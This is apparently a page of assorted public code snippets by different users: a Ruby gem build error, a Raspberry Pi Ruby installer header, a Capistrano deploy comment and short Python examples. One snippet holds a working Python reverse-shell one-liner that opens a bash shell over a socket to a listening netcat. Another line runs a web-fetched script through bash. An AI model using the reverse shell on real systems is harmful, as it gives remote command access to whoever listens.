nodecarter

$ gem install rmagick -v '2.12.2'                                                    [ruby-1.9.3-p551]
Building native extensions.  This could take a while...
ERROR:  Error installing rmagick:
	ERROR: Failed to build gem native extension.

    /Users/nodecarter/.rvm/rubies/ruby-1.9.3-p551/bin/ruby -r ./siteconf20160205-17372-lm8cre.rb extconf.rb
checking for Ruby version >= 1.8.5... yes
extconf.rb:107: Use RbConfig instead of obsolete and deprecated Config.
checking for gcc-4.9... yes
checking for Magick-config... yes

blacktm

#!/bin/bash

# --------------------------------------------------------------------------------------------
# Installs Ruby using rbenv/ruby-build on the Raspberry Pi (Raspbian)
#
# Run from the web:
#   bash <(curl -s https://gist.githubusercontent.com/blacktm/8302741/raw/install_ruby_rpi.sh)
# --------------------------------------------------------------------------------------------

# Set the Ruby version you want to install

dergachev

# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

# on the CLIENT, run the following:
#   nc -l 12345

# on the SERVER, start the "reverse shell"
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345

# now go to the CLIENT, listen on port 12345 for incoming shell connections
nc -l 12345

welingtonsampaio

##
# Fazendo deploy com o capistrano de uma aplicação Rails
# usando servidores da Amazon ec2 e unicorn como servidor
# o versionamento do ruby no ambiente de produção foi feito
# com o rbenv ( https://github.com/sstephenson/rbenv ), o SO
# esta com o Centos 5.3 x64
#
# Primeiramente é necessario instalar a gem com o comando:
# gem install capistrano
# ou adicione a linha: gem "capistrano", :group => :development

hltbra

import sys

def tail_recursion_with_stack_inspection(g):
    '''
    Version of tail_recursion decorator using stack-frame inspection.    
    '''
    loc_vars ={"in_loop":False,"cnt":0}
    
    def result(*args, **kwd):
        if not loc_vars["in_loop"]:

andrewsmedina

from functools import lru_cache


@lru_cache(maxsize=None)
def fib(n):
    if n < 2:
        return n
    return fib(n-1) + fib(n-2)

andrewsmedina

from concurrent.futures import ThreadPoolExecutor


with ThreadPoolExecutor(max_workers=1) as executor:
    future = executor.submit(pow, 323, 1235)
    print(future.result())

andrewsmedina

from concurrent.futures import ProcessPoolExecutor


with ProcessPoolExecutor(max_workers=4) as executor:
    future = executor.submit(pow, 323, 1235)
    print(future.result())

andrewsmedina

import io

f = io.FileIO("texto.txt", "w")
f.write("ble")
f.close()

andrewsmedina

a = b"Heelo World"
v = memoryview(a)